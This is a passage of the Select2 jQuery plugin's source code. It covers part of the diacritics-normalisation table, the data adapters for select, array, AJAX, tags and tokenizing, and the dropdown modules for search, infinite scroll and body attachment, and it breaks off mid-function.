'U', '\u1EEA': 'U', '\u1EE8': 'U', '\u1EEE': 'U', '\u1EEC': 'U', '\u1EF0': 'U', '\u1EE4': 'U', '\u1E72': 'U', '\u0172': 'U', '\u1E76': 'U', '\u1E74': 'U', '\u0244': 'U', '\u24CB': 'V', '\uFF36': 'V', '\u1E7C': 'V', '\u1E7E': 'V', '\u01B2': 'V', '\uA75E': 'V', '\u0245': 'V', '\uA760': 'VY', '\u24CC': 'W', '\uFF37': 'W', '\u1E80': 'W', '\u1E82': 'W', '\u0174': 'W', '\u1E86': 'W', '\u1E84': 'W', '\u1E88': 'W', '\u2C72': 'W', '\u24CD': 'X', '\uFF38': 'X', '\u1E8A': 'X', '\u1E8C': 'X', '\u24CE': 'Y', '\uFF39': 'Y', '\u1EF2': 'Y', '\u00DD': 'Y', '\u0176': 'Y', '\u1EF8': 'Y', '\u0232': 'Y', '\u1E8E': 'Y', '\u0178': 'Y', '\u1EF6': 'Y', '\u1EF4': 'Y', '\u01B3': 'Y', '\u024E': 'Y', '\u1EFE': 'Y', '\u24CF': 'Z', '\uFF3A': 'Z', '\u0179': 'Z', '\u1E90': 'Z', '\u017B': 'Z', '\u017D': 'Z', '\u1E92': 'Z', '\u1E94': 'Z', '\u01B5': 'Z', '\u0224': 'Z', '\u2C7F': 'Z', '\u2C6B': 'Z', '\uA762': 'Z', '\u24D0': 'a', '\uFF41': 'a', '\u1E9A': 'a', '\u00E0': 'a', '\u00E1': 'a', '\u00E2': 'a', '\u1EA7': 'a', '\u1EA5': 'a', '\u1EAB': 'a', '\u1EA9': 'a', '\u00E3': 'a', '\u0101': 'a', '\u0103': 'a', '\u1EB1': 'a', '\u1EAF': 'a', '\u1EB5': 'a', '\u1EB3': 'a', '\u0227': 'a', '\u01E1': 'a', '\u00E4': 'a', '\u01DF': 'a', '\u1EA3': 'a', '\u00E5': 'a', '\u01FB': 'a', '\u01CE': 'a', '\u0201': 'a', '\u0203': 'a', '\u1EA1': 'a', '\u1EAD': 'a', '\u1EB7': 'a', '\u1E01': 'a', '\u0105': 'a', '\u2C65': 'a', '\u0250': 'a', '\uA733': 'aa', '\u00E6': 'ae', '\u01FD': 'ae', '\u01E3': 'ae', '\uA735': 'ao', '\uA737': 'au', '\uA739': 'av', '\uA73B': 'av', '\uA73D': 'ay', '\u24D1': 'b', '\uFF42': 'b', '\u1E03': 'b', '\u1E05': 'b', '\u1E07': 'b', '\u0180': 'b', '\u0183': 'b', '\u0253': 'b', '\u24D2': 'c', '\uFF43': 'c', '\u0107': 'c', '\u0109': 'c', '\u010B': 'c', '\u010D': 'c', '\u00E7': 'c', '\u1E09': 'c', '\u0188': 'c', '\u023C': 'c', '\uA73F': 'c', '\u2184': 'c', '\u24D3': 'd', '\uFF44': 'd', '\u1E0B': 'd', '\u010F': 'd', '\u1E0D': 'd', '\u1E11': 'd', '\u1E13': 'd', '\u1E0F': 'd', '\u0111': 'd', '\u018C': 'd', '\u0256': 'd', '\u0257': 'd', '\uA77A': 'd', '\u01F3': 'dz', '\u01C6': 'dz', '\u24D4': 'e', '\uFF45': 'e', '\u00E8': 'e', '\u00E9': 'e', '\u00EA': 'e', '\u1EC1': 'e', '\u1EBF': 'e', '\u1EC5': 'e', '\u1EC3': 'e', '\u1EBD': 'e', '\u0113': 'e', '\u1E15': 'e', '\u1E17': 'e', '\u0115': 'e', '\u0117': 'e', '\u00EB': 'e', '\u1EBB': 'e', '\u011B': 'e', '\u0205': 'e', '\u0207': 'e', '\u1EB9': 'e', '\u1EC7': 'e', '\u0229': 'e', '\u1E1D': 'e', '\u0119': 'e', '\u1E19': 'e', '\u1E1B': 'e', '\u0247': 'e', '\u025B': 'e', '\u01DD': 'e', '\u24D5': 'f', '\uFF46': 'f', '\u1E1F': 'f', '\u0192': 'f', '\uA77C': 'f', '\u24D6': 'g', '\uFF47': 'g', '\u01F5': 'g', '\u011D': 'g', '\u1E21': 'g', '\u011F': 'g', '\u0121': 'g', '\u01E7': 'g', '\u0123': 'g', '\u01E5': 'g', '\u0260': 'g', '\uA7A1': 'g', '\u1D79': 'g', '\uA77F': 'g', '\u24D7': 'h', '\uFF48': 'h', '\u0125': 'h', '\u1E23': 'h', '\u1E27': 'h', '\u021F': 'h', '\u1E25': 'h', '\u1E29': 'h', '\u1E2B': 'h', '\u1E96': 'h', '\u0127': 'h', '\u2C68': 'h', '\u2C76': 'h', '\u0265': 'h', '\u0195': 'hv', '\u24D8': 'i', '\uFF49': 'i', '\u00EC': 'i', '\u00ED': 'i', '\u00EE': 'i', '\u0129': 'i', '\u012B': 'i', '\u012D': 'i', '\u00EF': 'i', '\u1E2F': 'i', '\u1EC9': 'i', '\u01D0': 'i', '\u0209': 'i', '\u020B': 'i', '\u1ECB': 'i', '\u012F': 'i', '\u1E2D': 'i', '\u0268': 'i', '\u0131': 'i', '\u24D9': 'j', '\uFF4A': 'j', '\u0135': 'j', '\u01F0': 'j', '\u0249': 'j', '\u24DA': 'k', '\uFF4B': 'k', '\u1E31': 'k', '\u01E9': 'k', '\u1E33': 'k', '\u0137': 'k', '\u1E35': 'k', '\u0199': 'k', '\u2C6A': 'k', '\uA741': 'k', '\uA743': 'k', '\uA745': 'k', '\uA7A3': 'k', '\u24DB': 'l', '\uFF4C': 'l', '\u0140': 'l', '\u013A': 'l', '\u013E': 'l', '\u1E37': 'l', '\u1E39': 'l', '\u013C': 'l', '\u1E3D': 'l', '\u1E3B': 'l', '\u017F': 'l', '\u0142': 'l', '\u019A': 'l', '\u026B': 'l', '\u2C61': 'l', '\uA749': 'l', '\uA781': 'l', '\uA747': 'l', '\u01C9': 'lj', '\u24DC': 'm', '\uFF4D': 'm', '\u1E3F': 'm', '\u1E41': 'm', '\u1E43': 'm', '\u0271': 'm', '\u026F': 'm', '\u24DD': 'n', '\uFF4E': 'n', '\u01F9': 'n', '\u0144': 'n', '\u00F1': 'n', '\u1E45': 'n', '\u0148': 'n', '\u1E47': 'n', '\u0146': 'n', '\u1E4B': 'n', '\u1E49': 'n', '\u019E': 'n', '\u0272': 'n', '\u0149': 'n', '\uA791': 'n', '\uA7A5': 'n', '\u01CC': 'nj', '\u24DE': 'o', '\uFF4F': 'o', '\u00F2': 'o', '\u00F3': 'o', '\u00F4': 'o', '\u1ED3': 'o', '\u1ED1': 'o', '\u1ED7': 'o', '\u1ED5': 'o', '\u00F5': 'o', '\u1E4D': 'o', '\u022D': 'o', '\u1E4F': 'o', '\u014D': 'o', '\u1E51': 'o', '\u1E53': 'o', '\u014F': 'o', '\u022F': 'o', '\u0231': 'o', '\u00F6': 'o', '\u022B': 'o', '\u1ECF': 'o', '\u0151': 'o', '\u01D2': 'o', '\u020D': 'o', '\u020F': 'o', '\u01A1': 'o', '\u1EDD': 'o', '\u1EDB': 'o', '\u1EE1': 'o', '\u1EDF': 'o', '\u1EE3': 'o', '\u1ECD': 'o', '\u1ED9': 'o', '\u01EB': 'o', '\u01ED': 'o', '\u00F8': 'o', '\u01FF': 'o', '\u0254': 'o', '\uA74B': 'o', '\uA74D': 'o', '\u0275': 'o', '\u01A3': 'oi', '\u0223': 'ou', '\uA74F': 'oo', '\u24DF': 'p', '\uFF50': 'p', '\u1E55': 'p', '\u1E57': 'p', '\u01A5': 'p', '\u1D7D': 'p', '\uA751': 'p', '\uA753': 'p', '\uA755': 'p', '\u24E0': 'q', '\uFF51': 'q', '\u024B': 'q', '\uA757': 'q', '\uA759': 'q', '\u24E1': 'r', '\uFF52': 'r', '\u0155': 'r', '\u1E59': 'r', '\u0159': 'r', '\u0211': 'r', '\u0213': 'r', '\u1E5B': 'r', '\u1E5D': 'r', '\u0157': 'r', '\u1E5F': 'r', '\u024D': 'r', '\u027D': 'r', '\uA75B': 'r', '\uA7A7': 'r', '\uA783': 'r', '\u24E2': 's', '\uFF53': 's', '\u00DF': 's', '\u015B': 's', '\u1E65': 's', '\u015D': 's', '\u1E61': 's', '\u0161': 's', '\u1E67': 's', '\u1E63': 's', '\u1E69': 's', '\u0219': 's', '\u015F': 's', '\u023F': 's', '\uA7A9': 's', '\uA785': 's', '\u1E9B': 's', '\u24E3': 't', '\uFF54': 't', '\u1E6B': 't', '\u1E97': 't', '\u0165': 't', '\u1E6D': 't', '\u021B': 't', '\u0163': 't', '\u1E71': 't', '\u1E6F': 't', '\u0167': 't', '\u01AD': 't', '\u0288': 't', '\u2C66': 't', '\uA787': 't', '\uA729': 'tz', '\u24E4': 'u', '\uFF55': 'u', '\u00F9': 'u', '\u00FA': 'u', '\u00FB': 'u', '\u0169': 'u', '\u1E79': 'u', '\u016B': 'u', '\u1E7B': 'u', '\u016D': 'u', '\u00FC': 'u', '\u01DC': 'u', '\u01D8': 'u', '\u01D6': 'u', '\u01DA': 'u', '\u1EE7': 'u', '\u016F': 'u', '\u0171': 'u', '\u01D4': 'u', '\u0215': 'u', '\u0217': 'u', '\u01B0': 'u', '\u1EEB': 'u', '\u1EE9': 'u', '\u1EEF': 'u', '\u1EED': 'u', '\u1EF1': 'u', '\u1EE5': 'u', '\u1E73': 'u', '\u0173': 'u', '\u1E77': 'u', '\u1E75': 'u', '\u0289': 'u', '\u24E5': 'v', '\uFF56': 'v', '\u1E7D': 'v', '\u1E7F': 'v', '\u028B': 'v', '\uA75F': 'v', '\u028C': 'v', '\uA761': 'vy', '\u24E6': 'w', '\uFF57': 'w', '\u1E81': 'w', '\u1E83': 'w', '\u0175': 'w', '\u1E87': 'w', '\u1E85': 'w', '\u1E98': 'w', '\u1E89': 'w', '\u2C73': 'w', '\u24E7': 'x', '\uFF58': 'x', '\u1E8B': 'x', '\u1E8D': 'x', '\u24E8': 'y', '\uFF59': 'y', '\u1EF3': 'y', '\u00FD': 'y', '\u0177': 'y', '\u1EF9': 'y', '\u0233': 'y', '\u1E8F': 'y', '\u00FF': 'y', '\u1EF7': 'y', '\u1E99': 'y', '\u1EF5': 'y', '\u01B4': 'y', '\u024F': 'y', '\u1EFF': 'y', '\u24E9': 'z', '\uFF5A': 'z', '\u017A': 'z', '\u1E91': 'z', '\u017C': 'z', '\u017E': 'z', '\u1E93': 'z', '\u1E95': 'z', '\u01B6': 'z', '\u0225': 'z', '\u0240': 'z', '\u2C6C': 'z', '\uA763': 'z', '\u0386': '\u0391', '\u0388': '\u0395', '\u0389': '\u0397', '\u038A': '\u0399', '\u03AA': '\u0399', '\u038C': '\u039F', '\u038E': '\u03A5', '\u03AB': '\u03A5', '\u038F': '\u03A9', '\u03AC': '\u03B1', '\u03AD': '\u03B5', '\u03AE': '\u03B7', '\u03AF': '\u03B9', '\u03CA': '\u03B9', '\u0390': '\u03B9', '\u03CC': '\u03BF', '\u03CD': '\u03C5', '\u03CB': '\u03C5', '\u03B0': '\u03C5', '\u03C9': '\u03C9', '\u03C2': '\u03C3' }; return diacritics; }); S2.define('select2/data/base',[ '../utils' ], function (Utils) { function BaseAdapter ($element, options) { BaseAdapter.__super__.constructor.call(this); } Utils.Extend(BaseAdapter, Utils.Observable); BaseAdapter.prototype.current = function (callback) { throw new Error('The `current` method must be defined in child classes.'); }; BaseAdapter.prototype.query = function (params, callback) { throw new Error('The `query` method must be defined in child classes.'); }; BaseAdapter.prototype.bind = function (container, $container) { // Can be implemented in subclasses }; BaseAdapter.prototype.destroy = function () { // Can be implemented in subclasses }; BaseAdapter.prototype.generateResultId = function (container, data) { var id = container.id + '-result-'; id += Utils.generateChars(4); if (data.id != null) { id += '-' + data.id.toString(); } else { id += '-' + Utils.generateChars(4); } return id; }; return BaseAdapter; }); S2.define('select2/data/select',[ './base', '../utils', 'jquery' ], function (BaseAdapter, Utils, $) { function SelectAdapter ($element, options) { this.$element = $element; this.options = options; SelectAdapter.__super__.constructor.call(this); } Utils.Extend(SelectAdapter, BaseAdapter); SelectAdapter.prototype.current = function (callback) { var data = []; var self = this; this.$element.find(':selected').each(function () { var $option = $(this); var option = self.item($option); data.push(option); }); callback(data); }; SelectAdapter.prototype.select = function (data) { var self = this; data.selected = true; // If data.element is a DOM node, use it instead if ($(data.element).is('option')) { data.element.selected = true; this.$element.trigger('change'); return; } if (this.$element.prop('multiple')) { this.current(function (currentData) { var val = []; data = [data]; data.push.apply(data, currentData); for (var d = 0; d < data.length; d++) { var id = data[d].id; if ($.inArray(id, val) === -1) { val.push(id); } } self.$element.val(val); self.$element.trigger('change'); }); } else { var val = data.id; this.$element.val(val); this.$element.trigger('change'); } }; SelectAdapter.prototype.unselect = function (data) { var self = this; if (!this.$element.prop('multiple')) { return; } data.selected = false; if ($(data.element).is('option')) { data.element.selected = false; this.$element.trigger('change'); return; } this.current(function (currentData) { var val = []; for (var d = 0; d < currentData.length; d++) { var id = currentData[d].id; if (id !== data.id && $.inArray(id, val) === -1) { val.push(id); } } self.$element.val(val); self.$element.trigger('change'); }); }; SelectAdapter.prototype.bind = function (container, $container) { var self = this; this.container = container; container.on('select', function (params) { self.select(params.data); }); container.on('unselect', function (params) { self.unselect(params.data); }); }; SelectAdapter.prototype.destroy = function () { // Remove anything added to child elements this.$element.find('*').each(function () { // Remove any custom data set by Select2 Utils.RemoveData(this); }); }; SelectAdapter.prototype.query = function (params, callback) { var data = []; var self = this; var $options = this.$element.children(); $options.each(function () { var $option = $(this); if (!$option.is('option') && !$option.is('optgroup')) { return; } var option = self.item($option); var matches = self.matches(params, option); if (matches !== null) { data.push(matches); } }); callback({ results: data }); }; SelectAdapter.prototype.addOptions = function ($options) { Utils.appendMany(this.$element, $options); }; SelectAdapter.prototype.option = function (data) { var option; if (data.children) { option = document.createElement('optgroup'); option.label = data.text; } else { option = document.createElement('option'); if (option.textContent !== undefined) { option.textContent = data.text; } else { option.innerText = data.text; } } if (data.id !== undefined) { option.value = data.id; } if (data.disabled) { option.disabled = true; } if (data.selected) { option.selected = true; } if (data.title) { option.title = data.title; } var $option = $(option); var normalizedData = this._normalizeItem(data); normalizedData.element = option; // Override the option's data with the combined data Utils.StoreData(option, 'data', normalizedData); return $option; }; SelectAdapter.prototype.item = function ($option) { var data = {}; data = Utils.GetData($option[0], 'data'); if (data != null) { return data; } if ($option.is('option')) { data = { id: $option.val(), text: $option.text(), disabled: $option.prop('disabled'), selected: $option.prop('selected'), title: $option.prop('title') }; } else if ($option.is('optgroup')) { data = { text: $option.prop('label'), children: [], title: $option.prop('title') }; var $children = $option.children('option'); var children = []; for (var c = 0; c < $children.length; c++) { var $child = $($children[c]); var child = this.item($child); children.push(child); } data.children = children; } data = this._normalizeItem(data); data.element = $option[0]; Utils.StoreData($option[0], 'data', data); return data; }; SelectAdapter.prototype._normalizeItem = function (item) { if (item !== Object(item)) { item = { id: item, text: item }; } item = $.extend({}, { text: '' }, item); var defaults = { selected: false, disabled: false }; if (item.id != null) { item.id = item.id.toString(); } if (item.text != null) { item.text = item.text.toString(); } if (item._resultId == null && item.id && this.container != null) { item._resultId = this.generateResultId(this.container, item); } return $.extend({}, defaults, item); }; SelectAdapter.prototype.matches = function (params, data) { var matcher = this.options.get('matcher'); return matcher(params, data); }; return SelectAdapter; }); S2.define('select2/data/array',[ './select', '../utils', 'jquery' ], function (SelectAdapter, Utils, $) { function ArrayAdapter ($element, options) { var data = options.get('data') || []; ArrayAdapter.__super__.constructor.call(this, $element, options); this.addOptions(this.convertToOptions(data)); } Utils.Extend(ArrayAdapter, SelectAdapter); ArrayAdapter.prototype.select = function (data) { var $option = this.$element.find('option').filter(function (i, elm) { return elm.value == data.id.toString(); }); if ($option.length === 0) { $option = this.option(data); this.addOptions($option); } ArrayAdapter.__super__.select.call(this, data); }; ArrayAdapter.prototype.convertToOptions = function (data) { var self = this; var $existing = this.$element.find('option'); var existingIds = $existing.map(function () { return self.item($(this)).id; }).get(); var $options = []; // Filter out all items except for the one passed in the argument function onlyItem (item) { return function () { return $(this).val() == item.id; }; } for (var d = 0; d < data.length; d++) { var item = this._normalizeItem(data[d]); // Skip items which were pre-loaded, only merge the data if ($.inArray(item.id, existingIds) >= 0) { var $existingOption = $existing.filter(onlyItem(item)); var existingData = this.item($existingOption); var newData = $.extend(true, {}, item, existingData); var $newOption = this.option(newData); $existingOption.replaceWith($newOption); continue; } var $option = this.option(item); if (item.children) { var $children = this.convertToOptions(item.children); Utils.appendMany($option, $children); } $options.push($option); } return $options; }; return ArrayAdapter; }); S2.define('select2/data/ajax',[ './array', '../utils', 'jquery' ], function (ArrayAdapter, Utils, $) { function AjaxAdapter ($element, options) { this.ajaxOptions = this._applyDefaults(options.get('ajax')); if (this.ajaxOptions.processResults != null) { this.processResults = this.ajaxOptions.processResults; } AjaxAdapter.__super__.constructor.call(this, $element, options); } Utils.Extend(AjaxAdapter, ArrayAdapter); AjaxAdapter.prototype._applyDefaults = function (options) { var defaults = { data: function (params) { return $.extend({}, params, { q: params.term }); }, transport: function (params, success, failure) { var $request = $.ajax(params); $request.then(success); $request.fail(failure); return $request; } }; return $.extend({}, defaults, options, true); }; AjaxAdapter.prototype.processResults = function (results) { return results; }; AjaxAdapter.prototype.query = function (params, callback) { var matches = []; var self = this; if (this._request != null) { // JSONP requests cannot always be aborted if ($.isFunction(this._request.abort)) { this._request.abort(); } this._request = null; } var options = $.extend({ type: 'GET' }, this.ajaxOptions); if (typeof options.url === 'function') { options.url = options.url.call(this.$element, params); } if (typeof options.data === 'function') { options.data = options.data.call(this.$element, params); } function request () { var $request = options.transport(options, function (data) { var results = self.processResults(data, params); if (self.options.get('debug') && window.console && console.error) { // Check to make sure that the response included a `results` key. if (!results || !results.results || !$.isArray(results.results)) { console.error( 'Select2: The AJAX results did not return an array in the ' + '`results` key of the response.' ); } } callback(results); }, function () { // Attempt to detect if a request was aborted // Only works if the transport exposes a status property if ('status' in $request && ($request.status === 0 || $request.status === '0')) { return; } self.trigger('results:message', { message: 'errorLoading' }); }); self._request = $request; } if (this.ajaxOptions.delay && params.term != null) { if (this._queryTimeout) { window.clearTimeout(this._queryTimeout); } this._queryTimeout = window.setTimeout(request, this.ajaxOptions.delay); } else { request(); } }; return AjaxAdapter; }); S2.define('select2/data/tags',[ 'jquery' ], function ($) { function Tags (decorated, $element, options) { var tags = options.get('tags'); var createTag = options.get('createTag'); if (createTag !== undefined) { this.createTag = createTag; } var insertTag = options.get('insertTag'); if (insertTag !== undefined) { this.insertTag = insertTag; } decorated.call(this, $element, options); if ($.isArray(tags)) { for (var t = 0; t < tags.length; t++) { var tag = tags[t]; var item = this._normalizeItem(tag); var $option = this.option(item); this.$element.append($option); } } } Tags.prototype.query = function (decorated, params, callback) { var self = this; this._removeOldTags(); if (params.term == null || params.page != null) { decorated.call(this, params, callback); return; } function wrapper (obj, child) { var data = obj.results; for (var i = 0; i < data.length; i++) { var option = data[i]; var checkChildren = ( option.children != null && !wrapper({ results: option.children }, true) ); var optionText = (option.text || '').toUpperCase(); var paramsTerm = (params.term || '').toUpperCase(); var checkText = optionText === paramsTerm; if (checkText || checkChildren) { if (child) { return false; } obj.data = data; callback(obj); return; } } if (child) { return true; } var tag = self.createTag(params); if (tag != null) { var $option = self.option(tag); $option.attr('data-select2-tag', true); self.addOptions([$option]); self.insertTag(data, tag); } obj.results = data; callback(obj); } decorated.call(this, params, wrapper); }; Tags.prototype.createTag = function (decorated, params) { var term = $.trim(params.term); if (term === '') { return null; } return { id: term, text: term }; }; Tags.prototype.insertTag = function (_, data, tag) { data.unshift(tag); }; Tags.prototype._removeOldTags = function (_) { var tag = this._lastTag; var $options = this.$element.find('option[data-select2-tag]'); $options.each(function () { if (this.selected) { return; } $(this).remove(); }); }; return Tags; }); S2.define('select2/data/tokenizer',[ 'jquery' ], function ($) { function Tokenizer (decorated, $element, options) { var tokenizer = options.get('tokenizer'); if (tokenizer !== undefined) { this.tokenizer = tokenizer; } decorated.call(this, $element, options); } Tokenizer.prototype.bind = function (decorated, container, $container) { decorated.call(this, container, $container); this.$search = container.dropdown.$search || container.selection.$search || $container.find('.select2-search__field'); }; Tokenizer.prototype.query = function (decorated, params, callback) { var self = this; function createAndSelect (data) { // Normalize the data object so we can use it for checks var item = self._normalizeItem(data); // Check if the data object already exists as a tag // Select it if it doesn't var $existingOptions = self.$element.find('option').filter(function () { return $(this).val() === item.id; }); // If an existing option wasn't found for it, create the option if (!$existingOptions.length) { var $option = self.option(item); $option.attr('data-select2-tag', true); self._removeOldTags(); self.addOptions([$option]); } // Select the item, now that we know there is an option for it select(item); } function select (data) { self.trigger('select', { data: data }); } params.term = params.term || ''; var tokenData = this.tokenizer(params, this.options, createAndSelect); if (tokenData.term !== params.term) { // Replace the search term if we have the search box if (this.$search.length) { this.$search.val(tokenData.term); this.$search.focus(); } params.term = tokenData.term; } decorated.call(this, params, callback); }; Tokenizer.prototype.tokenizer = function (_, params, options, callback) { var separators = options.get('tokenSeparators') || []; var term = params.term; var i = 0; var createTag = this.createTag || function (params) { return { id: params.term, text: params.term }; }; while (i < term.length) { var termChar = term[i]; if ($.inArray(termChar, separators) === -1) { i++; continue; } var part = term.substr(0, i); var partParams = $.extend({}, params, { term: part }); var data = createTag(partParams); if (data == null) { i++; continue; } callback(data); // Reset the term to not include the tokenized portion term = term.substr(i + 1) || ''; i = 0; } return { term: term }; }; return Tokenizer; }); S2.define('select2/data/minimumInputLength',[ ], function () { function MinimumInputLength (decorated, $e, options) { this.minimumInputLength = options.get('minimumInputLength'); decorated.call(this, $e, options); } MinimumInputLength.prototype.query = function (decorated, params, callback) { params.term = params.term || ''; if (params.term.length < this.minimumInputLength) { this.trigger('results:message', { message: 'inputTooShort', args: { minimum: this.minimumInputLength, input: params.term, params: params } }); return; } decorated.call(this, params, callback); }; return MinimumInputLength; }); S2.define('select2/data/maximumInputLength',[ ], function () { function MaximumInputLength (decorated, $e, options) { this.maximumInputLength = options.get('maximumInputLength'); decorated.call(this, $e, options); } MaximumInputLength.prototype.query = function (decorated, params, callback) { params.term = params.term || ''; if (this.maximumInputLength > 0 && params.term.length > this.maximumInputLength) { this.trigger('results:message', { message: 'inputTooLong', args: { maximum: this.maximumInputLength, input: params.term, params: params } }); return; } decorated.call(this, params, callback); }; return MaximumInputLength; }); S2.define('select2/data/maximumSelectionLength',[ ], function (){ function MaximumSelectionLength (decorated, $e, options) { this.maximumSelectionLength = options.get('maximumSelectionLength'); decorated.call(this, $e, options); } MaximumSelectionLength.prototype.query = function (decorated, params, callback) { var self = this; this.current(function (currentData) { var count = currentData != null ? currentData.length : 0; if (self.maximumSelectionLength > 0 && count >= self.maximumSelectionLength) { self.trigger('results:message', { message: 'maximumSelected', args: { maximum: self.maximumSelectionLength } }); return; } decorated.call(self, params, callback); }); }; return MaximumSelectionLength; }); S2.define('select2/dropdown',[ 'jquery', './utils' ], function ($, Utils) { function Dropdown ($element, options) { this.$element = $element; this.options = options; Dropdown.__super__.constructor.call(this); } Utils.Extend(Dropdown, Utils.Observable); Dropdown.prototype.render = function () { var $dropdown = $( '<span class="select2-dropdown">' + '<span class="select2-results"></span>' + '</span>' ); $dropdown.attr('dir', this.options.get('dir')); this.$dropdown = $dropdown; return $dropdown; }; Dropdown.prototype.bind = function () { // Should be implemented in subclasses }; Dropdown.prototype.position = function ($dropdown, $container) { // Should be implmented in subclasses }; Dropdown.prototype.destroy = function () { // Remove the dropdown from the DOM this.$dropdown.remove(); }; return Dropdown; }); S2.define('select2/dropdown/search',[ 'jquery', '../utils' ], function ($, Utils) { function Search () { } Search.prototype.render = function (decorated) { var $rendered = decorated.call(this); var $search = $( '<span class="select2-search select2-search--dropdown">' + '<input class="select2-search__field" type="search" tabindex="-1"' + ' autocomplete="off" autocorrect="off" autocapitalize="none"' + ' spellcheck="false" role="textbox" />' + '</span>' ); this.$searchContainer = $search; this.$search = $search.find('input'); $rendered.prepend($search); return $rendered; }; Search.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); this.$search.on('keydown', function (evt) { self.trigger('keypress', evt); self._keyUpPrevented = evt.isDefaultPrevented(); }); // Workaround for browsers which do not support the `input` event // This will prevent double-triggering of events for browsers which support // both the `keyup` and `input` events. this.$search.on('input', function (evt) { // Unbind the duplicated `keyup` event $(this).off('keyup'); }); this.$search.on('keyup input', function (evt) { self.handleSearch(evt); }); container.on('open', function () { self.$search.attr('tabindex', 0); self.$search.focus(); window.setTimeout(function () { self.$search.focus(); }, 0); }); container.on('close', function () { self.$search.attr('tabindex', -1); self.$search.val(''); self.$search.blur(); }); container.on('focus', function () { if (!container.isOpen()) { self.$search.focus(); } }); container.on('results:all', function (params) { if (params.query.term == null || params.query.term === '') { var showSearch = self.showSearch(params); if (showSearch) { self.$searchContainer.removeClass('select2-search--hide'); } else { self.$searchContainer.addClass('select2-search--hide'); } } }); }; Search.prototype.handleSearch = function (evt) { if (!this._keyUpPrevented) { var input = this.$search.val(); this.trigger('query', { term: input }); } this._keyUpPrevented = false; }; Search.prototype.showSearch = function (_, params) { return true; }; return Search; }); S2.define('select2/dropdown/hidePlaceholder',[ ], function () { function HidePlaceholder (decorated, $element, options, dataAdapter) { this.placeholder = this.normalizePlaceholder(options.get('placeholder')); decorated.call(this, $element, options, dataAdapter); } HidePlaceholder.prototype.append = function (decorated, data) { data.results = this.removePlaceholder(data.results); decorated.call(this, data); }; HidePlaceholder.prototype.normalizePlaceholder = function (_, placeholder) { if (typeof placeholder === 'string') { placeholder = { id: '', text: placeholder }; } return placeholder; }; HidePlaceholder.prototype.removePlaceholder = function (_, data) { var modifiedData = data.slice(0); for (var d = data.length - 1; d >= 0; d--) { var item = data[d]; if (this.placeholder.id === item.id) { modifiedData.splice(d, 1); } } return modifiedData; }; return HidePlaceholder; }); S2.define('select2/dropdown/infiniteScroll',[ 'jquery' ], function ($) { function InfiniteScroll (decorated, $element, options, dataAdapter) { this.lastParams = {}; decorated.call(this, $element, options, dataAdapter); this.$loadingMore = this.createLoadingMore(); this.loading = false; } InfiniteScroll.prototype.append = function (decorated, data) { this.$loadingMore.remove(); this.loading = false; decorated.call(this, data); if (this.showLoadingMore(data)) { this.$results.append(this.$loadingMore); } }; InfiniteScroll.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); container.on('query', function (params) { self.lastParams = params; self.loading = true; }); container.on('query:append', function (params) { self.lastParams = params; self.loading = true; }); this.$results.on('scroll', function () { var isLoadMoreVisible = $.contains( document.documentElement, self.$loadingMore[0] ); if (self.loading || !isLoadMoreVisible) { return; } var currentOffset = self.$results.offset().top + self.$results.outerHeight(false); var loadingMoreOffset = self.$loadingMore.offset().top + self.$loadingMore.outerHeight(false); if (currentOffset + 50 >= loadingMoreOffset) { self.loadMore(); } }); }; InfiniteScroll.prototype.loadMore = function () { this.loading = true; var params = $.extend({}, {page: 1}, this.lastParams); params.page++; this.trigger('query:append', params); }; InfiniteScroll.prototype.showLoadingMore = function (_, data) { return data.pagination && data.pagination.more; }; InfiniteScroll.prototype.createLoadingMore = function () { var $option = $( '<li ' + 'class="select2-results__option select2-results__option--load-more"' + 'role="treeitem" aria-disabled="true"></li>' ); var message = this.options.get('translations').get('loadingMore'); $option.html(message(this.lastParams)); return $option; }; return InfiniteScroll; }); S2.define('select2/dropdown/attachBody',[ 'jquery', '../utils' ], function ($, Utils) { function AttachBody (decorated, $element, options) { this.$dropdownParent = options.get('dropdownParent') || $(document.body); decorated.call(this, $element, options); } AttachBody.prototype.bind = function (decorated, container, $container) { var self = this; var setupResultsEvents = false; decorated.call(this, container, $container); container.on('open', function () { self._showDropdown(); self._attachPositioningHandler(container); if (!setupResultsEvents) { setupResultsEvents = true; container.on('results:all', function () { self._positionDropdown(); self._resizeDropdown(); }); container.on('results:append', function () { self._positionDropdown(); self._resizeDropdown(); }); } }); container.on('close', function () { self._hideDropdown(); self._detachPositioningHandler(container); }); this.$dropdownContainer.on('mousedown', function (evt) { evt.stopPropagation(); }); }; AttachBody.prototype.destroy = function (decorated) { decorated.call(this); this.$dropdownContainer.remove(); }; AttachBody.prototype.position = function (decorated, $dropdown, $container) { // Clone all of the container classes $dropdown.attr('class', $container.attr('class')); $dropdown.removeClass('select2'); $dropdown.addClass('select2-container--open'); $dropdown.css({ position: 'absolute', top: -999999 }); this.$container = $container; }; AttachBody.prototype.render = function (decorated) { var $container = $('<span></span>'); var $dropdown = decorated.call(this); $container.append($dropdown); this.$dropdownContainer = $container; return $container; }; AttachBody.prototype._hideDropdown = function (decorated) { this.$dropdownContainer.detach(); }; AttachBody.prototype._attachPositioningHandler = function (decorated, container) { var self = this; var scrollEvent = 'scroll.select2.' + container.id; var resizeEvent = 'resize.select2.' + container.id; var orientationEvent = 'orientationchange.select2.' + container.id; var $watchers = this.$container.parents().filter(Utils.hasScroll); $watchers.each(function () { Utils.StoreData(this, 'select2-scroll-position', { x: $(this).scrollLeft(), y: $(this).scrollTop() }); }); $watchers.on(scrollEvent, function (ev) { var position = Utils.GetData(this, 'select2-scroll-position'); $(this).scrollTop(position.y); }); $(window).on(scrollEvent + ' ' + resizeEvent + ' ' + orientationEvent, function (e) { self._positionDropdown(); self._resizeDropdown(); }); }; AttachBody.prototype._detachPositioningHandler = function (decorated, container) { var scrollEvent = 'scroll.select2.' + container.id; var resizeEvent = 'resize.select2.' + container.id; var orientationEvent = 'orientationchange.select2.' + container.id; var $watchers = this.$container.parents().filter(Utils.hasScroll); $watchers.off(scrollEvent); $(window).off(scrollEvent + ' ' + resizeEvent + ' ' + orientationEvent); }; AttachBody.prototype._positionDropdown = function () { var $window = $(window); var isCurrentlyAbove = this.$dropdown.hasClass('select2-dropdown--above'); var isCurrentlyBelow = this.$dropdown.hasClass('select2-dropdown--below'); var newDirection = null; var offset = this.$container.offset(); offset.bottom = offset.top + this.$container.outerHeight(false); var container = { height: this.$container.outerHeight(false) }; container.top = offset.top; container.bottom = offset.top + container.height; var dropdown = { height: this.$dropdown.outerHeight(false) }; var viewport = { top: 